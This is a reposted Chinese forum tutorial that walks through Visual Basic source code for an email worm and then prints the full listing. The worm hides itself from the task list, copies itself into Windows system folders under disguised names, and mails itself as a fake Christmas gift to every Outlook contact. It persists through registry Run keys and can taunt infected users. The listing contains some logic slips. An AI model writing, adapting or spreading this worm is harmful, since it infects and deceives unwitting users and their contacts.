[转载] VB蠕虫，连源码都被杀。。

打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project->;Project1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：

1. Sub Main()
   
2. 'TaskVisible的功能是把程序在End Task表中除掉。
   
3. App.TaskVisible = False
   
4. End Sub
   
5. 
   
6. 以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码：
   
7. 
   
8. '阻止问题发生
   
9. On Error Resume Next
   
10. Dim Location, Location2, DesLocation, DesLocation2
    
11. '得到EXE的位置
    
12. Location = App.Path & "\" & App.EXEName & ".exe"
    
13. Location2 = App.Path & App.EXEName & ".exe"
    
14. 
    
15. '设定目的地
    
16. DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
    
17. DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"
    
18. 
    
19. '开始复制自己
    
20. FileCopy Location, DesLocation
    
21. FileCopy Location2, DesLocation
    
22. FileCopy Location, DesLocation2
    
23. FileCopy Location2, DesLocation2
    
24. 
    
25. 蠕虫自行复制的编码已完成。现在，让蠕虫电子邮寄自己出去吧！键入以下的编码：
    
26. 
    
27. Dim Var1, FilePath, FileName, FullLocation, MyApp
    
28. Dim Christmas, List, AddList, AddressListCount
    
29. Dim Merry, AdEntries, Attachs, Msg
    
30. Var1 = "True"
    
31. FilePath = App.Path
    
32. FileName = App.EXEName
    
33. FullLocation = FilePath & "\" & FileName
    
34. Set MyApp = CreateObject("Outlook.Application")
    
35. If MyApp = "Outlook" Then
    
36. Set Christmas = MyApp.GetNameSpace("mapi")
    
37. Set List = Christmas.AddressLists
    
38. For Each Addresslist In List
    
39. If Addresslist.AddressEntries.Count <> 0 Then
    
40. AddressListCount = Addresslist.AddressEntries.Count
    
41. For AddList = 1 To AddressListCount
    
42. Set Merry = MyApp.CreateItem(0)
    
43. Set AdEntries = Addresslist.AddressEntries(AddList)
    
44. Merry.To = AdEntries.Address
    
45. Merry.Subject = "圣诞节快乐!!"
    
46. Merry.Body = "圣诞节快乐！这是一个特别个你的圣诞节的礼物！ _
    
47.      过个快乐的圣诞节!"
    
48. Set Attachs = Merry.Attachments
    
49. Attachs.Add FullLocation
    
50. If Var1 = "true" Then
    
51. Merry.DeleteAfterSubmit = True
    
52. If Msg.To <> "" Then
    
53. Merry.send
    
54. End If
    
55. End If
    
56. Next
    
57. Beep
    
58. End If
    
59. Next
    
60. End If
    
61. 
    
62. 蠕虫电子邮寄自己的部分完成啦！现在，让视窗每次启动时都开启蠕虫。键入以下的编码：
    
63. 
    
64. Dim Reg
    
65. Set Reg = CreateObject("wscript.Shell")
    
66. 
    
67. '把资料写入Registry
    
68. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
    
69. Windows\CurrentVersion\Run\Mapi", _
    
70. "C:\WINNT\SYSTEM\Mapi.exe"
    
71. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
    
72. Windows\CurrentVersion\Run\WinMapi", _
    
73. "C:\WINDOWS\SYSTEM\WinMapi.exe"
    
74. 
    
75. 以下是VB蠕虫的完整编码：
    
76. 
    
77. Sub Main()
    
78. 'TaskVisible的功能是把程序在End Task表中除掉。
    
79. App.TaskVisible = False
    
80. '阻止问题发生
    
81. On Error Resume Next
    
82. Dim Location, Location2, DesLocation, DesLocation2
    
83. '得到EXE的位置
    
84. Location = App.Path & "\" & App.EXEName & ".exe"
    
85. Location2 = App.Path & App.EXEName & ".exe"
    
86. 
    
87. '设定目的地
    
88. DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"
    
89. DesLocation2 = "C:\WINNT\SYSTEM\Mapi.exe"
    
90. 
    
91. '开始复制自己
    
92. FileCopy Location, DesLocation
    
93. FileCopy Location2, DesLocation
    
94. FileCopy Location, DesLocation2
    
95. FileCopy Location2, DesLocation2
    
96. 
    
97. Dim Var1, FilePath, FileName, FullLocation, MyApp
    
98. Dim Christmas, List, AddList, AddressListCount
    
99. Dim Merry, AdEntries, Attachs, Msg
    
100. Var1 = "True"
     
101. FilePath = App.Path
     
102. FileName = App.EXEName
     
103. FullLocation = FilePath & "\" & FileName
     
104. Set MyApp = CreateObject("Outlook.Application")
     
105. If MyApp = "Outlook" Then
     
106. Set Christmas = MyApp.GetNameSpace("mapi")
     
107. Set List = Christmas.AddressLists
     
108. For Each Addresslist In List
     
109. If Addresslist.AddressEntries.Count <> 0 Then
     
110. AddressListCount = Addresslist.AddressEntries.Count
     
111. For AddList = 1 To AddressListCount
     
112. Set Merry = MyApp.CreateItem(0)
     
113. Set AdEntries = Addresslist.AddressEntries(AddList)
     
114. Merry.To = AdEntries.Address
     
115. Merry.Subject = "圣诞节快乐!!"
     
116. Merry.Body = "圣诞节快乐！这是一个特别个你的圣诞节的礼物！ _
     
117.      过个快乐的圣诞节!"
     
118. Set Attachs = Merry.Attachments
     
119. Attachs.Add FullLocation
     
120. If Var1 = "true" Then
     
121. Merry.DeleteAfterSubmit = True
     
122. If Msg.To <> "" Then
     
123. Merry.send
     
124. End If
     
125. End If
     
126. Next
     
127. Beep
     
128. End If
     
129. Next
     
130. End If
     
131. 
     
132. Dim Reg
     
133. Set Reg = CreateObject("wscript.Shell")
     
134. 
     
135. '把资料写入Registry
     
136. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
     
137. Windows\CurrentVersion\Run\Mapi", _
     
138. "C:\WINNT\SYSTEM\Mapi.exe"
     
139. Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ _
     
140. Windows\CurrentVersion\Run\WinMapi", _
     
141. "C:\WINDOWS\SYSTEM\WinMapi.exe"
     
142. End Sub

复制代码

你也可以告诉被你蠕虫感染电脑的用户他们的机子被感染了。键入以下的编码：

MsgBox "哈哈！你的机子已被蠕虫感染了！",vbCritical,"蠕虫感染"